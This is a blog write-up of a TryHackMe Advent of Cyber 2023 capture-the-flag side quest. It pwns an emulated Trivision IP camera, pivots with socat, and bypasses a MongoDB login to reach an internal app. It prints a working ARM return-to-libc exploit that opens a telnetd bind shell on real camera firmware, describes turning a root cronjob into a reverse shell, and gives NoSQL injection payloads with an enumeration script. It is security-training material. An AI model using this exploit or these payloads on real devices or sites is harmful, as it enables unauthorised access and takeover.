TryHackMe's Advent of Cyber 2023 - Side Quest 2 - Snowy ARMageddon - Writeup
2023-12-15
Hello all ! Time for the writeup for the Side Quest 2
named Snowy ARMageddon
. The difficulty was insane
and so far I have noticed that a lot of people struggle to finish it (or even get to it). If you want to skip the QR code part and get to the challenge directly, click here.
Link to the challenge : https://tryhackme.com/room/armageddon2r
Link to the meta-article about the side quests : https://eyexion.fr/posts/thm_aoc_2023_meta/
Getting the QR code : buffer overflow
Now the day 6
was our way into this challenge. The target was a cool
Christmas video game running in the browser. The goal was to introduce the concept of buffer overflows
. The objective for us there was to trigger a glitch in the game somehow.
In order to trigger the glitch, you would need to (assuming you “finished” the game) :
- Get a
lot of money
(I used the~
character to fill the coins row and it worked) - Talk to the merchant and buy the item with
id=a
(you noticed that it was not displayed as an option) - A ghost pops in front of the house. Talk to it several times until it gives you clear instructions
- Rename your cat (character)
Snowball
- Give the merchant the name
Midas
- Give the name switcher the name
Ted
(why is this fun ?) - Have
31337
coins and the token of the yeti in the inventory - Input the
30 lives secret code
(https://en.wikipedia.org/wiki/Konami_Code)
- Rename your cat (character)
So in order to do all this, it is rather simple. We just need to apply the knowledge from the room. In the end, the stack is supposed to look like this :
In order to obtain that, you need to start from the bottom and change the name of Ted
, then Midas
. Then you need to put the right amount of money BUT you need to take into account the 8
coins you will need to change your name to Snowball
. So you need to put qz\x00\x00
in the coins row. Then finally change your name to Snowball
and bingo ! Honestly kudos to the creators of this, really fun AND great to learn for the ones that had never encountered buffer overflows before.
Now back to the actual challenge.
Statement (of the Side Quest)
So the challenge only had 2 flags
to retrieve, without much information (the first flag
and the content of yetikey2.txt
). The room page informs us that the main objective is to get access to an internal-only web application
, without the need to pwn the machine itself.
Scanning and reconnaissance
So first we launch a simple nmap TCP SYN scan
on all the ports and we have the following output.
└─$ sudo nmap -sS -p1-65335 10.10.90.132
[sudo] password for kali:
Starting Nmap 7.94SVN ( https://nmap.org ) at 2023-12-13 12:03 EST
Nmap scan report for 10.10.90.132
Host is up (0.038s latency).
Not shown: 65331 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
23/tcp open telnet
8080/tcp open http-proxy
50628/tcp open unknown
So as we can see, 3 intrestring ports
are open here.
- The port
23
for telnet - The port
8080
which usually turns out to be awebsite
- And the port
50628
, not usual
If we connect to the port 23
via telnet, the connection is established but closes immediately. But at least we know the port is accessible. On the other hand, we have 2 websites exposed on port 8080
and 50628
.
The first website is surely the internal-only web application
on port 8080
. We get a 403 Forbidden
for all *.php
and the root of the website like below. On the other hand the website for the port 50628
seems to be the web portal of an IP surveillance camera
, this time not forbidden.
Pwning the camera and first flag
So as we can see, for now the website on port 8080
is a dead end. It is probably only accessible from the internal network. So let us focus on the camera portal
for now.
As we can see on the /en/login.asp
endpoint, we are dealing with the NC-227WF HD 720P
model from Trivision
. Trying to get to the settings panel or anything else really (even a random endpoint that does not exist) triggers an HTTP Authentication pop up
. We can see on the net that the default credentials are admin:admin
but it does not function.
So the first thing we think about is googling this model of camera. Pretty quickly we notice that a lot of what we get is related to an emulation software called emux
(https://github.com/therealsaumil/emux). We will get to that later.
So ultimately after a LOT of research (like maybe 25 minutes of random googling, which is a lot), I finally found an exploit for this particular model of camera
. I have no idea why it took so long to find it, and even as I am writing this I struggle to find the Google/DuckDuckGo query to find it again ! But it turns out someone published an exploit to get a bind shell via a telnet lisner on port 23
(what a coincidence). Here is the link to the exploit : https://crash.software/STRLCPY/3sjay-sploits/~files/main/trivision_nc227wf_expl.py. You can find the “fixed” (not much, just some type casting) exploit below for you to use.
Make sure to use the script below and not the one in the link (some weird errors I fixed, nothing interesting).
#!/usr/bin/python
from telnetlib import Telnet
import os, struct, sys, re, socket
import time
##### HELPER FUNCTIONS #####
def pack32(value):
return struct.pack("<I", value) # little byte order
def pack16n(value):
return struct.pack(">H", value) # big/network byte order
def urlencode(buf):
s = ""
for b in buf:
if re.match(r"[a-zA-Z0-9\/]", b) is None:
s += "%%%02X" % ord(b)
else:
s += b
return s
##### HELPER FUNCTIONS FOR ROP CHAINING #####
# function to create a libc gadget
# requires a global variable called libc_base
def libc(offset):
return pack32(libc_base + offset)
# function to represent data on the stack
def data(data):
return pack32(data)
# function to check for bad characters
# run this before sending out the payload
# e.g. detect_badchars(payload, "\x00\x0a\x0d/?")
def detect_badchars(string, badchars):
for badchar in badchars:
i = string.find(badchar)
while i != -1:
sys.stderr.write("[!] 0x%02x appears at position %d\n" % (ord(badchar), i))
i = string.find(badchar, i+1)
##### MAIN #####
if len(sys.argv) != 3:
print("Usage: expl.py <ip> <port>")
sys.exit(1)
ip = sys.argv[1]
port = sys.argv[2]
libc_base = 0x40021000
buf = b"A" * 284
"""
0x40060b58 <+32>: ldr r0, [sp, #4]
0x40060b5c <+36>: pop {r1, r2, r3, lr}
0x40060b60 <+40>: bx lr
"""
ldr_r0_sp = pack32(0x40060b58)
# 0x00033a98: mov r0, sp; mov lr, pc; bx r3;
mov_r0 = pack32(libc_base + 0x00033a98)
system = pack32(0x4006079c)
buf += ldr_r0_sp
buf += b"BBBB"
buf += b"CCCC"
buf += system
buf += mov_r0
buf += b"telnetd${IFS}-l/bin/sh;#"
buf += b"C" * (400-len(buf))
lang = buf
request = b"GET /form/liveRedirect?lang=%s HTTP/1.0\n" % lang + \
b"Host: BBBBBBBBBBBB\nUser-Agent: ARM/exploitlab\n\n"
print(request)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, int(port)))
s.send(request)
s.recv(100)
time.sleep(2)
tn = Telnet(ip, 23)
tn.interact()
I honestly think that a lot of people that struggled with this challenge did not find this exploit, as it was surprisingly hard to find.
Breaking down the BOF exploit
This is not registered as a CVE from what I can tell. This exploit is leveraging a buffer overflow vulnerability in the handling of a GET Request
sent to the /form/liveRedirect
endpoint. The vulnerability affects more specifically the ?lang
argument. This exploit is not very well documented (or I did not find anything) but we can break it down a little bit. The camera is running on an ARM32 CPU
by the way.
Just a heads up, I will not explain in details how buffer overflows, ROPs and return-to-libc
attacks function (that would be way too long). But I encourage you to take a look at some documentation (there is a free room on TryHackMe here, I have not done it but so far the platform has never disappointed me so go ahead, it’s free !).
First, we can notice that we have in the script variables like libc_base
or system
directly in the code. That means that the camera does not have ASLR on.
To begin with, in ARM32, the convention is to store arguments for function calls in registers r0, r1, r2 and r3
(then in the stack). Here, we will call the function system("telnetd${IFS}-l/bin/sh;#")
which is basically a bind shell listening on port 23
. Thus, when the system
function is called, we will need to have the r0
register storing the address of the argument.
The ${IFS}
here is used as a space character
(in bash). (I honestly do not know why it was necessary, \x20
is not a forbidden character usually in buffer overflows). It probably has to do with something in the firmware I am not aware of.
The stack right after the buffer overflow and before any execution of the exploit will look like this (the actual content of the gadgets are in the exploit above) :
@ldr_r0_sp <— sp |
padding |
padding |
@system |
@mov_r0 |
“telnetd${IFS}-l/bin/sh;#" (multiple rows) |
padding |
From that, we can see that the exploit is basically doing this :
ldr_r0_sp
. This is the first gadget executed. The interesting part of it is loadingthe address of the system function in r3
. It will then jump into themov_r0
gadget. (I think the first instruction of this gadget is useless by the way). At the end of this,sp
points at thetelnetd
string in the stack.mov_r0
. This gadget will setr0
tosp
which is conveniently the address of our argument (telnetd …) for thesystem
function. It then jumps to thesystem
function (via ther3
register).system
is called with the bind shell payload in argument, et voilà !
So this exploit was surprisingly “simple” to analyze (all things considered of course, as it appears to only be around 3/4 years old ! It looks like an “easy” CTF challenge exploit… Kinda worrying not gonna lie.).
When we execute the exploit, we get a wonderful shell every time we connect via telnet to port 23
of the machine !
Camera’s web portal and first flag
So now we have a (root) shell
in the IP Camera. Our shell is a very stripped down busybox
but we will have to make do. Using the mount
command, we can see that we are indeed in an emux
emulated camera, since we have an NFS mount from 192.168.100.1
in /emux
(that is in theory, in practice no /emux
directory for now).
So searching for the first flag was like looking for a needle in a haystack. We notice in /home/web
that we have the sources for the web portal
of the camera. A lot of things to look at here, but no credentials. After a bit of researching, we can find the file /etc/webs/umconfig.txt
that contains some configuration for the web portal, including credentials ! We can find the following entry in the file :
ROW=0
name=admin
password=Y******************n
group=administrators
prot=0
disable=0
So if we try to connect with the credentials admin:Y**************n
(password is weird but make sure to use all of it) on the web portal, we are in ! And there there was a mystery… As I am writing this I am redoing the challenge in a Kali VW, and when I connect to the web portal with the credentials, I get this :
So yeah, we directly end up on the flag endpoint ! We have to open the /en/player/mjpeg_vga.asp
endpoint to get it ! (This was during the event, now the flag in directly in the image
, so you just need to fetch whichever endpoint that points to it or just download the image from the camera directly).
BUT back when I solved the challenge, well I did not get this. Actually I had to manually test all the endpoints since the flag was hard coded in the HTML. (luckily I started by the /en/player/
directory since I thought we would get a security footage or something). So the challenge changed in between and it is less “guessy” (but that explains why some people found flag 2 and not flag 1 during the event !).
Anyway that is flag1
!
Exploring the Camera
So now that we have an access to the internal network
, we can try and find something to do with that. The first idea that comes to mind is to try and fetch the internal web application. And bingo, it seems that if we wget
the page on port 8080
from the camera, we get a 401 Unauthorized
!
Wait, what ? Well, that is different from the 403 Forbidden
, but that is not cool ! But when we think about it, 401
usually comes up when an HTTP Authentication fails. So lets try to connect with the same credentials from the camera web portal. So let’s run this in the camera’s shell (replace password with actual password in URL).
$ wget 'http://admin:Y****************n@10.10.231.129:8080/' | cat index.html
Connecting to 10.10.231.129:8080 (10.10.231.129:8080)
wget: can't open 'index.html': File exists
<!DOCTYPE html>
<html lang="en" class="h-full bg-thm-900">
<head>
<meta charset="UTF-8" />
<link rel="icon" type="image/png" href="https://assets.tryhackme.com/img/favicon.png" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<title>TryHackMe</title>
<link rel="stylesheet" href="styles.css" />
</head>
...
Yay ! We get something ! But when we look at it, it seems that it is a login page
that asks for a username and password, and the credentials we have do not function this time. Well let’s try to find new ones !
But first, time to get a proxy because we wont be able to do much from the terminal of the camera (or it would be very messy).
Getting the socat executable from the emux rootfs (UNINTENDED)
The following section about getting inside the emux Docker container was unintended and wont function anymore ! Click here to see the intended way to access the socat executable.
During my research for this, I ended up finding a way to get a more decent shell
in the camera with more files to look at ! Indeed, I mounted the /dev/sda
device and it turned out to be the emux docker container rootfs
(emux basically launches a docker container. This docker container then launches qemu
to emulate a device, .i.e a camera). So with this :
mkdir /tmp/mount; mount /dev/sda /tmp/mount
We have access to the rootfs of the emux docker container
.
In the docker rootfs, nothing interesting but I did find a way to get a shell inside the container. Indeed, there is a cronjob
in /tmp/mount/etc/cronjobs/root
with the following content :
$ cat crontabs/root
* * * * * /root/test-eth0.sh >/dev/null 2>&1
* * * * * sleep 10; /root/test-eth0.sh >/dev/null 2>&1
* * * * * sleep 20; /root/test-eth0.sh >/dev/null 2>&1
* * * * * sleep 30; /root/test-eth0.sh >/dev/null 2>&1
* * * * * sleep 40; /root/test-eth0.sh >/dev/null 2>&1
* * * * * sleep 50; /root/test-eth0.sh >/dev/null 2>&1
The test-eth0.sh
script was there to reload the web portal
in case it went down. So I modified it in order to get a reverse shell (I could see in /tmp/mount/bin
that nc
was available). So I did this : (yes I like making GIFs)
So now we have access to almost too many commands, including socat
. How nice of you emux.
Getting the socat executable from a static binary (INTENDED)
Intended way to get the socat executable on the machine for the proxy. Thanks to the creator of the challenge for the tip !
So ultimately, now that we have access to the camera and the internal network
, we want to be able to use a proxy
to access the internal web-application
from the outside as if we were inside the internal network. For this, the best tool to use is socat
which is basically an enhanced netcat
with more features.
The creator of emux
has in his github profile
a list of static executables for ARM32 based devices (ARMel usually run on most platforms). Amongst the executables, we have socat
, accessible at https://github.com/therealsaumil/static-arm-bins/blob/master/socat-armel-static.
So what we need to do is upload this file to the camera, and use it. In order to do that we can setup a simple python http server
on our machine with :
$ python3 -m http.server 5555
If we execute this command in a directory where we have our socat
file, we can then download it from the camera with wget http://YOUR-MACHINE-VPN-IP:5555/socat
. We can then execute it and have our proxy setup like explained in the next part.
Proxy and rabbit holes
So now that we have socat
available, we can actually get ourselves a nice proxy. So as far as I can tell the only ports we have exposed from the camera
to the outside are 50628
and 23
. So i used the 50628
port on the camera to forward to port 8080
of the target (it is the same machine but qemu docker and all…).
So we first need to free the port 50628
. The process webs
is the one using the port (the camera portal), fetch the PID
with ps w | grep webs
and kill the process with kill <PID>
in order to free the port 50628
, then the following command will forward port 50628
to port 8080
so we can access it as if we were in the network from the outside (make sure to use it fast after killing webs
since it restarts after some time) :
socat tcp-listen:50628,fork,reuseaddr tcp:<target-machine-IP>:8080
We get the following page if we connect to target-machine-IP:50628/index.php
(we are asked for the HTTP Authentication, use the credentials we had before) :
And now let me introduce you to the ✨rabbit holes fiesta✨. So yeah I ended up finding this endpoint and then nothing. For the "fun"
, things I tried that ended up nowhere :
Fuzzing
of the website (going back to it later)SQL injections
(manually/sqlmap)- Mounting the NFS mount and reading ALL the logs of the
emux
directory (it’s long). Finding a root password hash, not cracking it after a LONG time (thanks bcrypt). - Trying to figure out if the
ssh keys
in/root
were useful (one of them we actually have the private key (armx@armx
) in the emux repository, but useless). Password brute-force
withadmin
login andkrafty
(login of the ssh key in/root
) withHydra
Enumerating
ports of the machine from the internal network, trying to connect to everything- Trying to use every
docker escape
method I could think of - Wonder what the heck the
Yeti's hint
meant (by the way, still have not figured this out, please enlighten me). I even tried to fool the system by deleting the “security” footage to be likestealthy
and have access to the Cyber Police portal 🤣. - Just looking at the terminal wondering
What am I doing with my life ? 😿
Ultimately, I did find the solution, but yeah just wanted to say I struggled too ☃️.
Fuzzing and injections for the win
So that was me during the challenge to sum it up :
So yeah, basically when I first fuzzed the website (not recursively), I got this (replace password in URL) :
$ ffuf -u 'http://admin:Y****************n@10.10.231.129:50628/FUZZ' -w /usr/share/seclists/Discovery/Web-Content/common.txt
...
.hta [Status: 403, Size: 933, Words: 204, Lines: 34, Duration: 3739ms]
.htpasswd [Status: 403, Size: 933, Words: 204, Lines: 34, Duration: 4686ms]
.htaccess [Status: 403, Size: 933, Words: 204, Lines: 34, Duration: 4686ms]
demo [Status: 200, Size: 41, Words: 3, Lines: 2, Duration: 117ms]
index.php [Status: 302, Size: 4677, Words: 1187, Lines: 99, Duration: 200ms]
server-status [Status: 403, Size: 933, Words: 204, Lines: 34, Duration: 50ms]
vendor [Status: 301, Size: 324, Words: 20, Lines: 10, Duration: 44ms]
As you can see, we have a /vendor/
directory that I totally ignored until I got desperate enough hours (ok days) later. But if we fuzz again, we find a /vendor/composer/
directory.
Now, composer
is a dependency manager for PHP
. So it should tell us what tech stack lies behind the website. I could not find composer.json
like in composer’s github repository, but with the google dork inurl:/vendor/composer
the first interesting link (https://www.corezero.io/vendor/composer/) tells us that the file /vendor/composer/installed.json
could be there, and it is !
So now in this file, we can see the following entry :
{
"name": "mongodb/mongodb",
"version": "1.17.0",
"version_normalized": "1.17.0.0",
"source": {
"type": "git",
"url": "https://github.com/mongodb/mongo-php-library.git",
"reference": "9d9c917cf7ff275ed6bd63c596efeb6e49fd0e53"
},
[...]
Now this is what we like to see. So I immediately reached out to my notes about previous challenges on noSQLi
and the first payload I try to login with functions (hello endorphin, nice to meet you) !
By the way you could also find /vendor/mongodb/
accessible if you used the right list (but weirdly enough I cannot find this word in the most common word lists in Seclist…)
Don’t know who I need, but who I don’t need
So, noSQLi
are not as common but (IMO) are easier then SQLi
. So the following payload :
username[$ne]=NoWayThisLoginExists&password[$ne]=1
Will get us logged in as Frostbite
like this :
So basically, we logged in the first user in the database whose username and password are not NoWayThisLoginExists:1
. We still have nothing there (like nothing nothing, and fuzzing gives us nothing as well). We saw earlier in the statement of the challenge that the flag is in the internal web application
, so I figured I needed to continue on this and try to log in as someone else. By the way learn more here : https://book.hacktricks.xyz/pentesting-web/nosql-injection.
So with the following payload :
username[$nin][0]=Frostbite&password[$ne]=1
I get logged in as Snowballer
! (still nothing though). So basically I ask the website to log in as a user whose username is not in the array ['Frostbite']
(so here only one username). The [$nin]
means Not In
and we specify an array of values
to discard basically (here index 0 with Frostbite
, another would be username[$nin][1]=abcd
).
So in order to list all the usernames we can have, I used the following python script that will try to enumerate all possible usernames
. It will then count the number of characters in each html page (I guessed that if one has more information, it will be a more interesting one to check manually).
If you use the script below, dont forget to add the actual IP address of the target and change the Basic Authorization Header to the real one (you can find it in the HTTP request after the HTTP authentication) !
#!/bin/python
import requests
import re
url = 'http://10.10.231.129:50628/'
error_message = 'Invalid username or password'
all_login_found = False
#list of exhausted usernames and base payloads
usernames = ['Frostbite']
pass_payload = 'password[$ne]=1'
username_format_payload = 'username[$nin][{i}]={username}'
payload = username_format_payload.format(i="0",username="Frostbite") + pass_payload
#headers, including the Basic Auth for HTTP authentication (admin:Y****************n). replace with actual Authorization header (here redacted).
headers = {'content-type': 'application/x-www-form-urlencoded',
'Authorization': 'Basic Y****************************4='}
# First request to get a valid PHPSESSID
cookie_req = requests.get(url+'login.php', headers=headers)
cookies = cookie_req.cookies.get_dict()
print("PHPSESSID is : " + cookies['PHPSESSID'])
cookie_req = requests.get(url+'login.php', headers=headers,cookies=cookies)
#payload in which we'll add the new username each loop
usernames_payload = ""
while not all_login_found:
#contruct the payload
usernames_payload = usernames_payload + '&' + username_format_payload.format(i=str(len(usernames)-1),username=usernames[-1])
payload = usernames_payload + '&' + pass_payload
#Send the login POST request
r = requests.post(url+'login.php', headers=headers,cookies=cookies, data=payload)
res = r.text
# check if we get an error message
if re.search(error_message, res) != None:
all_login_found = True
break
# Fetch username we are logged as and add it to the list
new_username = re.search(r'Welcome (\w+)!',res).group(1)
print('[*] New username : ' + new_username + " --- Size of response : " + str(len(res)))
usernames.append(new_username)
#logout of the account, otherwise we cannot logging again
requests.get(url+'/logout.php',cookies=cookies,headers=headers)
#print the final payload for the fun, and the list of usernames
print('\n[*] Finished ! List of usernames found :')
print(usernames)
print('Final payload is (this wont log you in as anybody, just for fun purposes) : ' + payload)
The output of the script is :
PHPSESSID is : 4673dce106d3e036a09b0677fa61550f
[*] New username : Snowballer --- Size of response : 3514
[*] New username : Slushinski --- Size of response : 3513
[*] New username : Blizzardson --- Size of response : 3512
[*] New username : Tinseltooth --- Size of response : 3513
[*] New username : Snowbacca --- Size of response : 3512
[*] New username : Grinchowski --- Size of response : 3511
[*] New username : Scroogestein --- Size of response : 3512
[*] New username : Sleighburn --- Size of response : 3513
[*] New username : Northpolinsky --- Size of response : 3513
[*] New username : Frostington --- Size of response : 3511
[*] New username : Tinselova --- Size of response : 3510
[*] New username : Frostova --- Size of response : 3509
[*] New username : Iciclevich --- Size of response : 3510
[*] New username : Frostopoulos --- Size of response : 3512
[*] New username : Grinchenko --- Size of response : 3510
[*] New username : Snownandez --- Size of response : 3513
[*] New username : Frosteau --- Size of response : 13899
[*] Finished ! List of usernames found :
['Frostbite', 'Snowballer', 'Slushinski', 'Blizzardson', 'Tinseltooth', 'Snowbacca', 'Grinchowski', 'Scroogestein', 'Sleighburn', 'Northpolinsky', 'Frostington', 'Tinselova', 'Frostova', 'Iciclevich', 'Frostopoulos', 'Grinchenko', 'Snownandez', 'Frosteau']
Final payload is (this wont log you in as anybody, just for fun purposes) : &username[$nin][0]=Frostbite&username[$nin][1]=Snowballer&username[$nin][2]=Slushinski&username[$nin][3]=Blizzardson&username[$nin][4]=Tinseltooth&username[$nin][5]=Snowbacca&username[$nin][6]=Grinchowski&username[$nin][7]=Scroogestein&username[$nin][8]=Sleighburn&username[$nin][9]=Northpolinsky&username[$nin][10]=Frostington&username[$nin][11]=Tinselova&username[$nin][12]=Frostova&username[$nin][13]=Iciclevich&username[$nin][14]=Frostopoulos&username[$nin][15]=Grinchenko&username[$nin][16]=Snownandez&username[$nin][17]=Frosteau&password[$ne]=1
As we can see, the last username Frosteau
is the one with a significant size difference in the response. Since it is the last one we logged in with, we can juste use the last payload we have above (the really long one) and get rid of the last part username[$nin][17]=Frosteau
and we should be logged in as Frosteau
.
But better to just use the more elegant username[$eq]=Frosteau&password[$ne]=1
to log in as Frosteau
!
And indeed, we have the following page :
And so we get flag2
and we are all happy (maybe not Santa tho).
Conclusion
So in conclusion, that challenge did not actually require hardcore hacking skills (like writing your own exploit for anything). But there were a lot of steps and the key skills were observation
and recon
I guess.
If you were good enough to find the information you needed to find, then the exploits of the vulnerabilities were pretty straight forward. So a hard challenge in its own way I guess (got stuck for a while as I said !).